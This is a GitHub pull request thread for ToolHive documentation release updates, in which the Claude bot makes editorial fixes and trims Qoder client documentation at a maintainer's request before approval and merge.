  • thv skill sync default — documented that it now targets every skill-supporting client (with CI recommendation to pin --clients) in skills-management.mdx.
  • thv skill push signing — rewrote signing section for mutually exclusive --key / --identity-token / --no-sign and the keyless-by-default ladder.
  • thv serve TCP safeguards — new section in api-server.mdx covering the Content-Type: application/json and Origin checks and their exemptions (UNIX socket, empty body, GET/HEAD).
  • allowPrivateEndpoint — added sections to mcp-server-entry.mdx and remote-mcp-proxy.mdx, and refreshed the SSRF troubleshooting bullet.
  • resourceOverrides.proxyDeployment scheduling fields — added nodeSelector / tolerations / affinity with merge-order guidance in run-mcp-k8s.mdx and remote-mcp-proxy.mdx.
  • vMCP timeouts — added a Changed in v0.45.0 admonition explaining that configured values are now honored, with upgrade guidance for values below and above 30s.
  • Rate-limit fail-open metric — added toolhive_rate_limit_fail_open counter to rate-limiting.mdx and vMCP telemetry doc; refreshed the observability concept summary.

Deferred by readiness gate

Plugin lock file, sync, upgrade, and Sigstore verification (#6314, #6316, #6317, #6396, #6397, #6399) — the whole path is gated on TOOLHIVE_PLUGINS_LOCK_ENABLED=true and inert by default. Skipped; recorded in SUMMARY.md.

Auto-generated CLI/Swagger/CRD reference (docs/toolhive/reference/cli/, static/api-specs/, docs/toolhive/reference/crds/) is refreshed by earlier workflow steps.

Commit: eff5cee

Covers the metrics diagnostics-port migration, Qoder IDE support, thv skill
sync/push behavior changes, thv serve TCP request safeguards, MCPServerEntry
and MCPRemoteProxy allowPrivateEndpoint, resourceOverrides.proxyDeployment
scheduling fields, honored vMCP backend timeouts, and the new
toolhive_rate_limit_fail_open metric.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
@claude

claude Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

Claude finished @renovate[bot]'s task in 3m 58s —— View job


Editorial review complete

Ran /docs-review over the 13 hand-written pages the release commit changed (auto-generated CLI/CRD/API-spec files were left alone per the review scope).

  • Identify changed docs files (excluding auto-generated content)
  • Run /docs-review over the eligible files
  • Apply actionable editorial fixes
  • Run npm run prettier:fix and npm run eslint:fix
  • Commit and push (20d902e)

Fixes applied

  • docs/toolhive/guides-k8s/mcp-server-entry.mdx
    • Changed "a Virtual MCP Server" to "vMCP" in the new "Allow in-cluster backends" section (the page expands the term on first use at line 11, so subsequent references should use the acronym per the style guide).
    • Added the missing Oxford comma in the SSRF blocked-ranges bullet ("192.168.0.0/16, and IPv6 unique-local addresses").
  • docs/toolhive/guides-vmcp/configuration.mdx (:::info[Changed in v0.45.0] admonition on operational.timeouts)
    • Dropped the "actually" filler ("will now actually cut" → "will now cut").
    • Replaced the Go-jargon "goroutine" with "in-flight request handler" so the note reads to a Kubernetes operator, not a Go developer.

Considered but left as-is

  • The :::tip[In CI, pass a signing flag explicitly] admonition in guides-cli/skills-management.mdx restates part of the preceding "Keyless" bullet, but the "grant id-token: write at the job level" workflow-permission guidance is genuinely additional, so the tip stays.
  • The :::info[Upcoming default change] admonition in guides-cli/telemetry-and-metrics.mdx documents a planned default flip. The style guide permits this pattern for versioned upgrade information, and the phrasing already tells the reader how to inherit vs opt out.
  • The spec.allowPrivateEndpoint sections in guides-k8s/mcp-server-entry.mdx and guides-k8s/remote-mcp-proxy.mdx cover the same feature on peer CRDs. Kept per-CRD to match the pattern each page uses for other CRD-scoped behavior.
    | Branch

- Use "vMCP" (already expanded on the page) in place of "Virtual MCP
  Server" in the MCPServerEntry allow-private-endpoint section.
- Add the missing Oxford comma in the SSRF-blocked ranges bullet.
- Drop "actually" filler and replace the Go-jargon "goroutine" with
  reader-facing language in the vMCP timeouts change note.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
@danbarr

danbarr commented Aug 26, 2026

Copy link
Copy Markdown
Collaborator

@claude : adding Qoder to the "common clients" list and giving it a specific configuration section in the compatibility guide was overkill. Just add it to the table, it doesn't need the others.

@claude

claude Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

Claude finished @danbarr's task in 1m 7s —— View job


Trimmed the Qoder additions

  • Locate the Qoder additions
  • Remove qoder from the common client names list in guides-cli/client-configuration.mdx
  • Remove the "Qoder IDE" configuration section from reference/client-compatibility.mdx
  • Commit and push

Qoder is now covered only by the table row in docs/toolhive/reference/client-compatibility.mdx:34. Removed 25 lines across the two files:

  • docs/toolhive/guides-cli/client-configuration.mdx - dropped the qoder bullet from the common client names list.
  • docs/toolhive/reference/client-compatibility.mdx - dropped the ### Qoder IDE section (config file paths, example JSON, and skills-path prose).

The qoder entries in docs/toolhive/reference/cli/thv_client_register.md and thv_client_remove.md are auto-generated CLI reference and were left untouched.

Note: I couldn't run npm run prettier:fix / eslint:fix in this environment (the commands weren't permitted). Both edits are whole-block deletions with no reflow needed, and the surrounding blank lines check out, so CI formatting should pass - but worth confirming on the PR checks.

Commit: 451d759 | | Branch

Co-authored-by: Dan Barr <6922515+danbarr@users.noreply.github.com>
reyortiz3
reyortiz3 previously approved these changes Aug 26, 2026
samuv
samuv previously approved these changes Aug 27, 2026
@jhrozek
jhrozek dismissed stale reviews from samuv and reyortiz3 via 044c8f3 August 27, 2026 07:59

@jhrozek jhrozek left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approved. Edited docs/toolhive/guides-cli/api-server.mdx to retain the actionable Content-Type: application/json requirement, the 415 Unsupported Media Type outcome, and the curl -d example. Removed the Origin-validation, loopback, socket, reverse-proxy, and media-type parsing implementation details from this API-user guide.

@reyortiz3
reyortiz3 merged commit 798b3b1 into main Aug 27, 2026
6 checks passed
@reyortiz3
reyortiz3 deleted the renovate/stacklok-toolhive-0.x branch August 27, 2026 16:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

autogen-docs Pull requests generated by automated release workflows

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants